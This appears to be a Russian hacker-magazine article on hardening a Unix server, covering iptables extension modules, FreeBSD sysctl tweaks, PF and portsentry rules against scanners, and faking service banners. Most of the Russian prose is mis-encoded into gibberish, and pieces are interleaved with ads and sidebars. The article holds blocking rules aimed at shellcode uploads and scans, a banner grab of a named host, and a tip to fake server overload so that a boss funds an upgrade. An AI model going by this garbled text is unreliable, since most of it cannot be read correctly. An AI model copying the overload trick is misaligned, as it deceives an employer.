nat. Ñëåäóþùèé ìîäóëü íàçû-
âàåòñÿ random.so. Îí ïîçâîëÿ-
åò ðåãóëèðîâàòü âåðîÿòíîñòü
ïðàâèëà. Â íåêîòîðûõ ñèòóàöè-
ÿõ áèáëèîòåêà ïðîñòî íåçàìå-
íèìà. Ê òîìó æå, òû ìîæåøü
ðàñêðóòèòü ñâîåãî øåôà íà
àïãðåéä, ïîêàçàâ åìó âåëèêóþ
íàãðóçêó íà ñåðâåð. Ïðåäâàðè-
òåëüíî òû, êîíå÷íî æå, ïðîïè-
øåøü õèòðîå ïðàâèëî, êîòîðîå
âûñòàâëÿåò âåðîÿòíîñòü 33%
íà ñîåäèíåíèå ñ Web-ñåðâå-
ðîì.

iptables -A INPUT -p tcp --dport 80
-m random --average 33 -j REJECT.

Íî ýòè ìîäóëè ñäåëàþò ðàáî-
òó óäîáíîé ëèøü â êîíêðåòíûõ
ñèòóàöèÿõ. Â ïîâñåäíåâíîé
ïðàêòèêå òû ìîæåøü ïðèìå-
íÿòü äðóãèå áèáëèîòåêè. Íàï-
ðèìåð, mport.so è iprange.so.
Ýòè äîïîëíåíèÿ � âåëèêàÿ ñè-
ëà, èáî îíè ïîçâîëÿþò ãèáêî
ôîðìèðîâàòü öåëûé äèàïàçîí

Óñòàíîâèì âñå íåîáõîäèìîå

Îòìåòèì âñå íîâèíêè

Òùàòåëüíî êîíôèãóðèðóåì ÿäðî! »

WWW.GAMEPOST.RU

www.gamepost.ru www.e-shop.ru

Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ

ÈÃÐÛ
ÏÎ ÊÀÒÀËÎÃÀÌ



ïîðòîâ è IP-àäðåñîâ â îäíîì ïðàâèëå!
Íå âåðèøü? Ïðîñòî íàáåðè â êîíñîëè
êîìàíäó:

iptables -A INPUT -p tcp -m mport --dports
21,22,25,110,4000:5000 -j ACCEPT

è äåéñòâèå õèòðîãî ïðàâèëà ñðàçó
âñòóïèò â ñèëó. Òåïåðü òåáå íå íàäî
ðàñïèñûâàòü äâà äåñÿòêà ðóëåñîâ äëÿ
êàæäîãî ñåðâåðà. Òî æå ñàìîå ìîæíî
ñêàçàòü è ïðî IP-àäðåñà. Ðàçðåøèòü
ñîåäèíåíèÿ öåëîìó äèàïàçîíó àéïèø-
íèêîâ ìîæíî òàêæå îäíèì ïðàâèëîì:

iptables �A INPUT �p tcp �m iprange -�src-
range 192.168.0.1-192.168.0.100 �j ACCEPT.

ÑÎÅÄÈÍÅÍÈÅ Ñ ÏÓÑÒÎÒÎÉ
Èíîãäà íóæíî èìèòèðîâàòü ñîåäè-

íåíèå. Äëÿ ýòîãî àäìèíîì ïèøåòñÿ
ñïåöèàëüíàÿ ïðîãðàììà, ïðîñëóøèâà-
þùàÿ îïðåäåëåííûé ïîðò. Òåïåðü
ìîæíî äîáèòüñÿ ðåçóëüòàòà ñ ïî-
ìîùüþ ìîäóëÿ tarpit.so. Îí íóæåí äëÿ
îòêðûòèÿ ïóñòîãî ïîðòà. Ïðè÷åì ïîðò
áóäåò ñâåòèòüñÿ â âûâîäå netstat�à
ïîñëå ôàêòè÷åñêîãî ñîåäèíåíèÿ. Ýòà
áèáëèîòåêà ìîæåò áûòü ïîëåçíà, åñëè
àäìèí ðåøàåòñÿ íàïèñàòü ôàåðâîëü-
íóþ óòèëèòó ïðîòèâ ñêàíà îïðåäåëåí-
íûõ ïîðòîâ, ñ ïîñëåäóþùèì çàíåñå-
íèåì â ëîã âñåõ ïîïûòîê ñîåäèíåíèÿ.
Íå áóäó òåáÿ ìó÷èòü, ïðîñòî íàïèøó
ïðàâèëî.

iptables �A INPUT �p tcp �-dport 31337 �j
TARPIT

ÔÈËÜÒÐÓÉ ÁÀÇÀÐ
Òåïåðü iptables óìååò èñêàòü

ïîäñòðîêó â ïàêåòå. Â ýòîì åìó ïîìîãà-

åò ìîäóëü string.so. Íàïðèìåð, òû çàõî-
÷åøü íàìóòèòü çàùèòó îò ïåðåñûëêè
shell-êîäîâ íà òâîþ ìàøèíó ëèáî ïðîñ-
òî íå æåëàåøü, ÷òîáû þçåð çàëèâàë
áèíàðíèê íà ñåðâåð. Åñëè ðàíüøå ïðè-
õîäèëîñü ïàò÷èòü êåðíåë è ñòàâèòü äî-
ïîëíèòåëüíûé ìîäóëü, òî ñåé÷àñ äîñ-
òàòî÷íî âáèòü âñåãî îäíî ïðàâèëî:

iptables -A INPUT -p tcp --dport 21 -m
string --string '|7F|ELF' -j DROP

Ðàç óæ ìû çàãîâîðèëè îá îãðàíè÷å-
íèÿõ, ðàññêàæó, êàê ïðåäîñòåðå÷ü
ñâîþ ìàøèíó îò DoS-àòàêè. Íóæíî
âîñïîëüçîâàòüñÿ ìîäóëåì limit.so,
ïîçâîëÿþùèì îãðàíè÷èâàòü ïðîïóñê-
íóþ ñïîñîáíîñòü. Åñëè òû âèäèøü,
÷òî òâîé FTPD çàæèðàåò ïðîöåññîð è
çàõëåáûâàåòñÿ â äàííûõ, ñäåëàé îãðà-
íè÷åíèå â 5 ïàêåòîâ çà îäíó ñåêóíäó.

iptables �A INPUT �p tcp �-dport 21 �m limit
�-limit 5/sec �j REJECT

Âåðîÿòíî, ó òåáÿ
óæå êðóæèòñÿ ãîëî-
âà îò íàâîðîòîâ
POM. Íî ñàìîå âêóñ-
íîå ÿ îñòàâèë íà-
ïîñëåäîê :). Òåïåðü
òû ñïîñîáåí êîíòðî-
ëèðîâàòü îäíîâðå-
ìåííîå ÷èñëî ïîäê-
ëþ÷åíèé íå òîëüêî
ñ îäíîãî IP-àäðåñà,
à äàæå ñ öåëîé ïîä-
ñåòè! Ýòî âîçìîæíî,
äàæå åñëè ñàì ñåð-
âèñ íå ïîääåðæèâà-

åò òàêóþ ôóíêöèþ. Ìîäóëü connlim-
it.so ñîçäàí ñïåöèàëüíî äëÿ ïîäîá-
íîé ðàáîòû. Áèáëèîòåêà ñïîñîáíà
îãðàíè÷èòü ïîäêëþ÷åíèÿ ê îïðåäå-
ëåííîìó ñåðâèñó, íàïðèìåð, ê äåìî-
íó sshd. Ïðîñòî äîáàâü ðóëåñ â
öåïü INPUT:

iptables �A INPUT �p tcp --syn --dport 22 -
m connlimit --connlimit-above 3 -j REJECT.

È Â ÇÀÊËÞ×ÅÍÈÅ...
Äóìàþ, ýòîãî ìàòåðèàëà òåáå

õâàòèò íå òîëüêî äëÿ îñâîåíèÿ àçîâ
iptables, íî è äëÿ ãðàìîòíîé çàùèòû
ñâîåãî ñåðâåðà. Áëàãî áðàíäìàóýð
ýòî ïîçâîëÿåò :). Ñèíòàêñèñ iptables
ïðîñò êàê òðè êîïåéêè, äóìàþ, òû
âñå ïîíÿë óæå ïîñëå ïåðâîãî ïðàâè-
ëà. Òåïåðü âñå çàâèñèò òîëüêî îò òå-
áÿ, ÿ æå ìîãó ïîæåëàòü íåìíîãî òåð-
ïåíèÿ è èçîáðåòàòåëüíîñòè. Îñòàëü-
íîå ïðèáàâèòñÿ ïîñëå óñòàíîâêè
Patch-o-Matic :). E

Âåðîÿòíîå ñðàáàòûâàíèå ñîáûòèÿ

Åñëè òâîé FTPD çàæèðàåò 
ïðîöåññîð è çàõëåáûâàåòñÿ â äàííûõ,

ñäåëàé îãðàíè÷åíèå 
â 5 ïàêåòîâ çà îäíó ñåêóíäó.

Ïóñòîé ïîðò � ëîâóøêà äëÿ õàêåðà





Óçíàòü
êîíêðåòíóþ
âåðñèþ êà-
êîãî-ëèáî
ñåðâèñà íå
èç áàííåðà
çíà÷èòåëü-
íî òðóäíåå.

SYN-ôëóä �
ïåðåïîëíå-
íèå î÷åðåäè
îòêðûòûõ
ñîåäèíåíèé
â ñîñòîÿíèè
SYN-sent.

Toxa (toxa@cterra.ru)

Ò û ïîñòàâèë è íàñòðîèë ñåðâåð. Ó òåáÿ âñå ðàáîòàåò, ïîëüçîâàòåëè äîâîëüíû, è òåïåðü íàñòàëî âðåìÿ äîáàâèòü â
ñèñòåìó òó ñàìóþ èçþìèíêó, î êîòîðóþ, âîçìîæíî, ñëîìàåò çóá íå îäèí âçëîìùèê.

ÕÈÒÐÛÉ ÒÞÍÈÍÃ
È ÃÐÀÌÎÒÍÀß
ÇÀÙÈÒÀ
ÏÎËÅÇÍÛÅ ÏÐÈÅÌÛ ÍÀÑÒÐÎÉÊÈ ÑÅÐÂÅÐÀ

ÒÞÍÈÍÃÓÅÌ
ÑÈÑÒÅÌÓ

Ïåðâûé øàã - îáå-
çîïàñèòü ñåáÿ âñòðîåí-
íûìè ñðåäñòâàìè. Îá-

ùåíèå ñ ÿäðîì áóäåì ïðîâîäèòü ÷å-
ðåç sysctl - óäîáíûé èíòåðôåéñ äëÿ
òþíèíãà ñåòåâîé ïîäñèñòåìû. Ðàññêà-
æó íà ïðèìåðå FreeBSD. Â ýòîé ñèñòå-
ìå íóæíî îáðàòèòü âíèìàíèå, êàê ìè-
íèìóì, íà ñëåäóþùèå ïåðåìåííûå:

net.inet.tcp.blackhole=2
net.inet.udp.blackhole=1

Ïî ñòàíäàðòó, åñëè íà çàêðûòûé
ïîðò ñåðâåðà ïðèõîäèò SYN-ïàêåò, ìà-
øèíà äîëæíà îòâåòèòü RST-ïàêåòîì.
Ýòî óïðîùàåò ñêàíèðîâàíèå ïîðòîâ, à
òàêæå äàåò äîñòàòî÷íîå êîëè÷åñòâî
èíôîðìàöèè (â âèäå îòâåòîâ îò ñêà-
íèðóåìîãî ñåðâåðà) äëÿ îïðåäåëåíèÿ
âåðñèè ÎÑ. "×åðíûå äûðû" çàñòàâëÿ-
þò FreeBSD áûòü ïðåäåëüíî ëàêîíè÷-
íîé, íå îòñûëàÿ íè÷åãî â îòâåò íà
çàïðîñû ê çàêðûòûì ïîðòàì. Èäåì
äàëüøå.

Ìàðøðóòèçàöèþ îò èñòî÷íèêà ìîæ-
íî ñìåëî îòêëþ÷èòü:

net.inet.ip.sourceroute=0
net.inet.ip.accept_sourceroute=0

×òîáû ñåðâåð íå ñòàë æåðòâîé DoS-
àòàêè, ìîæíî âêëþ÷èòü ìåõàíèçì syn-
cookies, êîòîðûé ñëóæèò äëÿ çàùèòû
ñåðâåðà îò SYN-ôëóäà. Ïðè ñåðüåç-
íîé àòàêå ìîæåò íå ìåíåå ñåðüåçíî
âûðó÷èòü. Âûñòàâè ñëåäóþùóþ ïåðå-
ìåííóþ:

net.inet.tcp.syncookies=1

×òîáû çàòðóäíèòü îïðåäåëåíèå âåð-
ñèè òâîåé ÎÑ àíàëèçîì ïðèõîäÿùèõ
îò íåå ïàêåòîâ, èçìåíèì çíà÷åíèå
Time To Live: 

net.inet.ip.ttl=64

Ñîâðåìåííàÿ ñèñòåìà íå äîëæíà îò-
âå÷àòü íà øèðîêîâåùàòåëüíûå ïèíãè,
íî è ïî ñåé äåíü ñóùåñòâóþò ñåòè, êî-
òîðûå ìîãóò ñòàòü èñòî÷íèêîì DoS-

àòàêè. ×òîáû íå ïîïàñòü â èõ ñïèñîê,
âûñòàâëÿåì:

net.inet.icmp.bmcastecho=0

Åñëè òû õî÷åøü îòñëåæèâàòü êîííåê-
òû íà çàêðûòûå ïîðòû òâîé ìàøèíû,
èñïîëüçóé ñëåäóþùóþ ïåðåìåííóþ:

net.inet.tcp.log_in_vain=1

Íà íàãðóæåííîì ñåðâåðå, ïðàâäà, òå-
áÿ ìîæåò çàñûïàòü êîëè÷åñòâîì ñîîá-
ùåíèé.

Åñëè íå íóæíà ïîääåðæêà ñìåøíîãî
ïðîòîêîëà T/TCP (TCP for Transactions),
òî ïàêåòû ñ ôëàãàìè SYN+FIN ìîæíî
ñìåëî îòáðàñûâàòü êàê íåëèêâèäíûå :).
Äåëàåòñÿ ýòî òàê:

net.inet.tcp.drop_synfin=1

Ïðîòîêîë ðåäêî ãäå èñïîëüçóåòñÿ, à
ïîòîìó ýòî èìååò ñìûñë.

ÎÁÌÀÍÛÂÀÅÌ ÑÊÀÍÅÐÛ
Âòîðæåíèå â ñèñòåìó íà÷èíàåòñÿ

ñî ñêàíèðîâàíèÿ - ýòî ïðîïèñíàÿ èñ-
òèíà. Ìîæíî (è íóæíî) óæå íà ýòîì
ýòàïå óñëîæíèòü æèçíü çëîóìûø-
ëåííèêó. Òàê, ïàêåòíûé ôèëüòð
OpenBSD PF èìååò âñòðîåííóþ âîç-
ìîæíîñòü îïðåäåëåíèÿ è áëîêèðîâà-
íèÿ ñêàíåðîâ, èñïîëüçóÿ òåõíîëîãèþ
Passive OS Fingerprinting. Äîñòàòî÷íî
äîáàâèòü ïðàâèëî "block quick from
any os NMAP" â pf.conf, ÷òîáû ðå-
çóëüòàòû ðàáîòû ïîïóëÿðíîãî ñêàíå-
ðà nmap çàñòàâèëè õàêåðà ïî÷åñàòü
çàòûëîê. Òàêæå nmap'ó ìîæíî ïðîòè-
âîäåéñòâîâàòü ñ ïîìîùüþ "scrub in
all" è ôèëüòðàöèè TCP-ïàêåòîâ ñ îñî-
áûìè ôëàãàìè, ê ïðèìåðó:

block return-rst in log quick proto tcp all
flags FP/FP

block return-rst in log quick proto tcp all
flags SE/SE

block return-rst in log quick proto tcp all
flags FUP/FUP

Íî ìîæíî îáîéòèñü è userland-ñðåä-
ñòâàìè. Íàïðèìåð, óòèëèòîé portsen-
try, êîòîðàÿ îòêðûâàåò äëÿ ïðîñëóøè-
âàíèÿ óêàçàííûå TCP/UDP-ïîðòû, ëî-
ãèðóåò îáðàùåíèÿ ê íèì è ïîçâîëÿåò
ðåàãèðîâàòü íà ñêàíèðîâàíèå. Ïîñëå
ñêà÷èâàíèÿ ñ
http://packetstormsecurity.nl/UNIX/IDS/ è óñòà-
íîâêè portsentry ïðàâèì
portsentry.conf:

TCP_PORTS="42,88,135,139,145,389,443,445,
464,593,636,637,1025,1026,1027,1029,1433,337
2,3389"

UDP_PORTS=""

ß óêàçàë íàáîð TCP-ïîðòîâ, î÷åíü
ïîõîæèé íà òîò, ÷òî îòêðûâàåò
Windows 2000 Server â äåôîëòîâîé
óñòàíîâêå. UDP-ïîðòû ïðîñëóøèâàòü
ìû íå áóäåì - èõ ðåäêî ñêàíèðóþò.

Ïîñëå ýòîãî èìååò ñìûñë óêàçàòü
õîñòû, ÷üå ñêàíèðîâàíèå ìû áóäåì èã-
íîðèðîâàòü, íàïðèìåð, ìàøèíû èç ëî-
êàëêè. Ïðîïèøè ïóòü ê ôàéëó ñî ñïèñ-
êîì èãíîðèðóåìûõ õîñòîâ:

IGNORE_FILE="/usr/local/psionic/portsen-
try/portsentry.ignore"

×òîáû portsentry íå çàíèìàëàñü íå-
íóæíûì îòîáðàæåíèåì IP-àäðåñà â
èìÿ õîñòà, îòêëþ÷è îáðàòíûé ðåçîëü-
âèíã:

RESOLVE_HOST = "0"
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Ìàðøðóòè-
çàöèÿ îò
èñòî÷íèêà -
ìåõàíèçì, ñ
ïîìîùüþ
êîòîðîãî
âíåøíèé
õîñò ìîæåò
ïîëó÷èòü
èíôîðìà-
öèþ î âíóò-
ðåííèõ àä-
ðåñàõ ñåòè.
Ìåõàíèçì
ñòàðûé, ìà-
ëî ãäå èñ-
ïîëüçóþ-
ùèéñÿ, êðî-
ìå ïðîáëåì,
êàê ïðàâè-
ëî, íè÷åãî
íå íåñåò.
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Äîñòàòî÷íî äîáàâèòü ïðàâèëî 
"block quick from any os NMAP" â pf.conf,
÷òîáû ðåçóëüòàòû ðàáîòû ïîïóëÿðíîãî

ñêàíåðà nmap çàñòàâèëè õàêåðà 
ïî÷åñàòü çàòûëîê.



Äàëåå áëîêèðóåì IP-àäðåñà õîñòîâ, ñ
êîòîðûõ ïðîèçâîäèòñÿ ñêàíèðîâàíèå:

BLOCK_TCP="1"

À òåïåðü óêàæè, êàê òû õî÷åøü ýòî äå-
ëàòü. Íàïðèìåð, äîáàâëåíèåì ïðàâè-
ëà ôàåðâîëà:

KILL_ROUTE="/sbin/ipfw add 1 deny all
from $TARGET$:255.255.255.255 to any"

Òàêæå ìîæíî çàíîñèòü àòàêóþùèõ â
hosts.deny äëÿ óñèëåíèÿ çàùèòû äå-
ìîíîâ, èñïîëüçóþùèõ tcpwrappers:

KILL_HOSTS_DENY="ALL: $TARGET$ : DENY"

Íàêîíåö, ìîæíî óêàçàòü áàííåð, âû-
äàâàåìûé ïðè ïîäêëþ÷åíèè ê ïîðòó,
ïðîñëóøèâàåìîìó portsentry:

PORT_BANNER="WHOM DO YOU WANT TO
HACK TODAY?"

Ó÷òè, ÷òî áëîêèðîâàòü õîñòû òàêèì
îáðàçîì - êðàéíÿÿ ìåðà, òàê êàê åñòü
âîçìîæíîñòü ïðåâðàòèòü network â
notwork, çàáëîêèðîâàâ ëåãèòèìíûõ
êëèåíòîâ. Â îáùåì ñëó÷àå ÿ áû íå ðå-
êîìåíäîâàë èñïîëüçîâàòü
KILL_ROUTE. Ó ìåíÿ óæå äâà ñ ëèø-
íèì ãîäà ðàáîòàåò ìàøèíêà, ïðèñïî-
ñîáëåííàÿ â ñâîå âðåìÿ èìåííî äëÿ
ñíÿòèÿ ïîäîáíîé ñòàòèñòèêè (ðàäè èí-

òåðåñà). Â íàñòîÿùåå âðåìÿ â
hosts.deny ñîäåðæèòñÿ 12373 çàïèñè, è
ïîìèìî çëà÷íûõ ïðèòîíîâ èíòåðíåòà
â ÷åðíûé ñïèñîê ïîïàëè âïîëíå ëåãè-
òèìíûå àäðåñà. Ñåðâèñû, ðàáîòàþùèå
íà òîì ñåðâåðå, íå èñïîëüçóþò tcp-
wrappers, òàê ÷òî íèêòî íå ñòðàäàåò.
Íî ñàì ôàêò äîñòîèí âíèìàíèÿ.

ÌÅÍßÅÌ ÁÀÍÍÅÐÛ
Ëþáîé äåìîí, ïðèíèìàþùèé

âíåøíèå ñîåäèíåíèÿ, òàê èëè èíà÷å
"äåìîíñòðèðóåò ñåáÿ" áàííåðîì - îä-
íîñòðî÷íûì ïðèâåòñòâèåì, âûäàþ-
ùèìñÿ êëèåíòó â îòâåò íà ñîåäèíåíèå
ñ íèì. Ñàìûé ïðîñòîé ñïîñîá óâèäåòü
ýòî - ñîâåðøèòü ñîåäèíåíèå telnet'îì
ñ ñåðâåðîì íà ïîðò, ïðîñëóøèâàåìûé
äåìîíîì:

[(22:42)(29.10%)(p1):~/articles/tricksec ]
telnet smtp.gameland.ru 110

Trying 62.213.71.4...
Connected to smtp.gameland.ru.
Escape character is '^]'.
+OK Microsoft Exchange Server 2003 POP3

server version 6.5.7226.0 (server500.game-
land.ru) ready.

Ïî÷òè âñåãäà ýòî ñëóæåáíàÿ èíôîð-
ìàöèÿ, íóæíàÿ äëÿ ðàáîòû ñåðâèñà,
íî èíîãäà - ñîâåðøåííî áåñïîëåçíàÿ
è äàæå âðåäíàÿ. Ðàçíûå ñåðâèñû âå-
äóò ñåáÿ ïî-ðàçíîìó: êòî-òî îãðàíè-
÷èâàåòñÿ ëàêîíè÷íûì èìåíåì õîñòà
è òèïîì ñåðâèñà (domain.com
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Òàê ìíîãî ñåðâèñîâ? Íåò, portsentry!

Àíäðåé "Andrushock" Ìàòâååâ, ðåäàêòîð ðóáðèêè "Unixoid" æóð-
íàëà "Õàêåð":

«Èäåàëüíîé èëè ñîâåðøåííîé çàùèòû íå áûâàåò. Ìû ìîæåì òîëü-
êî ñòðåìèòüñÿ ê îáåñïå÷åíèþ äîëæíîãî óðîâíÿ áåçîïàñíîñòè çà
ñ÷åò ñâîåâðåìåííîãî îáíîâëåíèÿ ïðîãðàììíîãî îáåñïå÷åíèÿ, ãðà-
ìîòíîãî ðàçãðàíè÷åíèÿ äîñòóïà, êîððåêòíîé íàñòðîéêè èíòåðíåò-
ñëóæá è, êîíå÷íî æå, ïðåäîòâðàùåíèÿ óòå÷åê èíôîðìàöèè - çäåñü
ÿ ïîäðàçóìåâàþ âåñü ñïåêòð ïðåäïðèíèìàåìûõ äåéñòâèé íà÷èíàÿ ñ
ñîêðûòèÿ ñåðâèñíûõ áàííåðîâ è çàêàí÷èâàÿ âîñïðåïÿòñòâîâàíèåì
ïåðåõâàòó êîíôèäåíöèàëüíûõ äàííûõ îðãàíèçàöèè. Î÷åíü ìíîãîå
çàâèñèò îò ñèñòåìíîãî àäìèíèñòðàòîðà, îò åãî ïîëèòèêè, îïûòà, íà-
âûêîâ ðàáîòû è çíàíèé. Èçâåñòíû ñëó÷àè, êîãäà ïðàâèëüíî ñêîí-
ôèãóðèðîâàííûå ñåðâåðû íà áàçå Red Hat Linux ìîãëè ïîõâàñòàòü-
ñÿ òûñÿ÷åäíåâíûìè àïòàéìàìè, â òî âðåìÿ êàê õîñòû ïîä óïðàâëå-
íèåì OpenBSD íå âûäåðæèâàëè è íåäåëüíîãî íàòèñêà ãëîáàëüíîé
ñåòè. Çà ñ÷åò îòêðûòîãî èñõîäíîãî êîäà ìîæíî êàæäûé äåíü èçìå-
íÿòü ïîâåäåíèå ñèñòåìû è/èëè ñòåêà TCP/IP, ãëàâíîå - ïðèäåðæè-
âàòüñÿ îäíîãî ïðîñòîãî ïðàâèëà: íå ëîìàòü ñòàíäàðòû, çàäîêóìåí-
òèðîâàííûå â RFC».

ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÀ

Â äîïîëíåíèå ê portsentry ìîæíî ñêà÷àòü è àíàëèçàòîð
ëîãîâ logsentry

Äëÿ òåõ, êîìó íå õâàòàåò Portsentry, Snort - ìîùíàÿ,
äèíàìè÷íî ðàçâèâàþùàñÿ IDS

»



ESMTP), à êòî-òî âûäàåò ñåáÿ ñ ïîò-
ðîõàìè, ðàñêðûâàÿ ñâîå èìÿ è âåð-
ñèþ. Åñëè â íàøåì ïðèìåðå áóäåò
íàéäåíà óÿçâèìîñòü â îïðåäåëåííûõ
âåðñèÿõ Exchange, òî âçëîìùèê çà
ïàðó ìèíóò íàïèøåò áàííåð-ãðàááåð,
êîòîðûé ñîåäèíÿåòñÿ ñ õîñòàìè è
ñíèìàåò ñ íèõ âåðñèþ Exchange. Òà-
êèì íåõèòðûì ñïîñîáîì ìîæíî ëåãêî
íàéòè óÿçâèìûé õîñò. Òåïåðü ïîíÿò-
íî, ïî÷åìó ñìåíà áàííåðà èìååò
ñìûñë: îíà ïîçâîëÿåò ñêðûòü âåðñèþ
ñåðâèñà èëè äàæå ââåñòè â çàáëóæ-
äåíèå âçëîìùèêà. Ïî ýòîé ïðè÷èíå
ìíîãèå äåìîíû èìåþò âîçìîæíîñòü
ñ÷èòûâàòü áàííåð ïðÿìî èç êîíôèãà.
Åñëè æå íåò - ìû â ìèðå OpenSource
è íå ïîëåíèìñÿ çàëåçòü â èñõîäíèêè.
Ó÷òè, ñìåíà áàííåðà íå äàñò íàì ïîë-
íîé èëëþçèè "äðóãîãî" ñåðâèñà.
Øàíñ îïðåäåëèòü äåìîíà è, íàïðè-
ìåð, îòëè÷èòü Apache îò IIS âñå ðàâ-
íî îñòàåòñÿ - ïî ïîâåäåíèþ ïðîã-
ðàììû â îòâåò íà ðàçëè÷íûå çàïðî-
ñû, êîäó îøèáîê, ñïåöèôè÷íûõ ñîîá-
ùåíèé, ôîðìèðîâàíèþ çàãîëîâêîâ
ïèñåì (â ñëó÷àå SMTP-ñåðâåðà) è ò.ï.,
òàê êàê æåñòêèõ ñòàíäàðòîâ ïîâåäå-
íèÿ òîãî æå ïî÷òîâîãî ñåðâåðà íåò è
êàæäûé ðåàëèçóåò ïðîòîêîë ïî-ñâîå-
ìó. Îäíàêî îò ïðèìèòèâíûõ ìåõàíèç-
ìîâ îïðåäåëåíèÿ äåìîíà ìû çàùè-
òèìñÿ (ïîäðîáíåå ïðî fingerprinting
÷èòàé â äðóãîé ñòàòüå ýòîãî íîìåðà).

OpenSSH
Ñàìûé ïîïóëÿðíûé ïàêåò äëÿ óäà-

ëåííîãî àäìèíèñòðèðîâàíèÿ ïî ïðî-
òîêîëó ssh, õîòü è íàïèñàííûé âåñüìà
êîìïåòåíòíûìè õàêåðàìè èç OpenBSD
team, íî èìåþùèé äëèííóþ èñòîðèþ
âçëîìîâ. Áàííåð â êîíôèãå íå âûñ-
òàâëÿåòñÿ, òàê ÷òî áóäåì ïðàâèòü ñîð-
öû. Íàéäè â ôàéëå version.h ñëåäóþ-
ùèå ñòðîêè:

#define SSH_VERSION "OpenSSH_3.8p1" 

Èõ è ñëåäóåò èçìåíèòü. Ïîëíîñòüþ
óäàëÿòü ñòðîêó íå íóæíî, ñîãëàñíî
ñòàíäàðòó, ñåðâåð îáÿçàí âûäàòü âåð-
ñèþ ssh-ïðîòîêîëà, à çàòåì - èìÿ äå-
ìîíà. ß ñîâåòóþ îãðàíè÷èòüñÿ óäàëå-
íèåì âåðñèè openssh, íî òû ìîæåøü
ïðîÿâèòü ôàíòàçèþ. Çàòåì ñîáèðàé
openssh êàê îáû÷íî.

Apache
Ýòî êëàññèêà. Ñìåíà áàííåðà ñàìîãî

ïîïóëÿðíîãî web-ñåðâåðà - âåñüìà
÷àñòîå ðàçâëå÷åíèå àäìèíîâ. Çäåñü
òîæå íå îáîéòèñü áåç ïðàâêè èñõîä-
íûõ òåêñòîâ. Â êàòàëîãå ñ èñõîäíèêà-
ìè íàéäè ôàéë src/include/httpd.h, à â
íåì - ñëåäóþùèå ñòðîêè:

#define SERVER_BASEPRODUCT "Apache" 
#define SERVER_BASEREVISION "1.3.29"

Òåïåðü ìåíÿé èõ íà Microsoft-IIS 4.0 è
êîëëåêöèîíèðóé ñèãíàòóðû ñòàðûõ
äîáðûõ unicode-àòàê :). Â Apache 2.0.x
íàäî ïðàâèòü ôàéë
include/ap_release.h, ñòðîêè: 

#define AP_SERVER_BASEPRODUCT
"Apache" 

#define AP_SERVER_MAJORVERSION "2" 
#define AP_SERVER_MINORVERSION "0" 
#define AP_SERVER_PATCHLEVEL "50" 

Postfix
Ýòîò óäîáíûé è (îòíîñèòåëüíî, êàê è

âñå â ýòîì ìèðå) áåçîïàñíûé SMTP-
ñåðâåð ïîçâîëÿåò óêàçàòü áàííåð
ïðÿìî â êîíôèãå, main.cf:

$smptd_banner = $mydomain ESMTP
MyCoolServer

Sendmail
Ïî óìîë÷àíèþ sendmail âûäàåò

ñëèøêîì ìíîãî èíôîðìàöèè. Â íåì
÷àñòî íàõîäÿò óÿçâèìîñòè, òàê ÷òî
ñâåòèòü âåðñèåé - ñåáå äîðîæå. Ìîæ-
íî ïîïðàâèòü sendmail.cf:

O SmtpGreetingMessage=$j ESMTP
InsecureMailserver

Èëè sendmail.mc:

define(`confSMTP_LOGIN_MSG', `$j ESMTP
UnsecureMailserver')

BIND
Named - ïîïóëÿðíûé DNS-ñåðâåð îò

Internet Software Consorcium. Èçâåñ-
òåí ïðåæäå âñåãî ñâîåé èñòîðèåé óÿç-
âèìîñòåé, òàê ÷òî ðàññêàçàòü ìèðó î
òîì, êàêàÿ ó òåáÿ âåðñèÿ named - çíà-
÷èò æèòü êàê íà èãîëêàõ äî ñëåäóþ-
ùåé Security Advisory. Ïðàâü
named.conf. Â ãëîáàëüíîé ñåêöèè
options {} ïèøè:

version "Microsoft DNS";

VsFTPd
Ýòî ÷ðåçâû÷àéíî áåçîïàñíûé ftp-

ñåðâåð ñ ïîääåðæêîé ssl-ñîåäèíåíèé.
Óêàçàòü áàííåð ìîæíî ïðÿìî â vsft-
pd.conf:

ftpd_banner=mydomain.com Microsoft FTP
Service (Version 5.0)

BSD FTPd
Âî Free/Net/OpenBSD ìîæíî ïîïðà-

âèòü ïðèâåòñòâèå ñòàíäàðòíîãî ftpd.
Äëÿ ýòîãî íóæíî íàéòè â ôàéëå
/usr/src/libexec/ftpd/ftpd.c ñòðî÷êó:

reply(220, "%s FTP server (%s) ready.",
hostname, version);

Îíà ìîæåò âñòðåòèòüñÿ íåñêîëüêî
ðàç, òàê, âî FreeBSD çà áàííåð îòâå÷à-
åò êîíñòðóêöèÿ:

if (hostinfo)
reply(220, "%s FTP server (%s) ready.",

hostname, version);
else
reply(220, "FTP server ready.");

Â îáîèõ ñëó÷àÿõ â âûâîäå ñòðîêè
ìîæíî íàïèñàòü, ÷òî äóøà ïîæåëàåò
(à ìîæíî ïîñòóïèòü áîëåå 31337-íî -
èçìåíèòü çíà÷åíèå hostinfo íà 0 ïå-
ðåä âûøåóêàçàííûì áëîêîì if).

Ýòè íåõèòðûå òðþêè, êîíå÷íî, ïî-
ìîãóò òåáå èçìåíèòü ïîâåäåíèå ñåð-
âåðà, íî îíè íå çàêðûâàþò óÿçâè-
ìîñòåé â ñåðâèñàõ, òàê ÷òî ìàñêèðîâ-
êà íå ëèøàåò òåáÿ ãëàâíîé çàäà÷è -
ïàò÷èòü, ïàò÷èòü è åùå ðàç ïàò÷èòü.
Æåëàþ òåáå êàê ìîæíî ðåæå èñïû-
òûâàòü â ýòîì íåîáõîäèìîñòü. E
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Íà FreeBSD - Microsoft DNS è FTPd?

ÕÈÒÐÛÉ ÒÞÍÈÍÃ È ÃÐÀÌÎÒÍÀß ÇÀÙÈÒÀ82 ÇÀÙÈÒÀ

Ðàçíûå ñåðâèñû âåäóò ñåáÿ ïî-ðàçíîìó: êòî-
òî îãðàíè÷èâàåòñÿ ëàêîíè÷íûì èìåíåì

õîñòà è òèïîì ñåðâèñà (domain.com ESMTP),
à êòî-òî âûäàåò ñåáÿ ñ ïîòðîõàìè, ðàñêðûâàÿ

ñâîå èìÿ è âåðñèþ.



×èòàéòå 
â îêòÿáðå:

� Ïîäðîáíûå îáçîðû 
ëó÷øèõ ìîäåëåé ìåñÿöà, 
à òàêæå:

� Ç2 òåñòà DVD-ïëååðîâ  

� 35 òåñòîâ AV-ðåñèâåðîâ,
óñèëèòåëåé, ïðîöåññîðîâ 

� 28 òåñòîâ àêóñòè÷åñêèõ
ñèñòåì 

� 26 òåñòîâ
âèäåîïðîåêòîðîâ

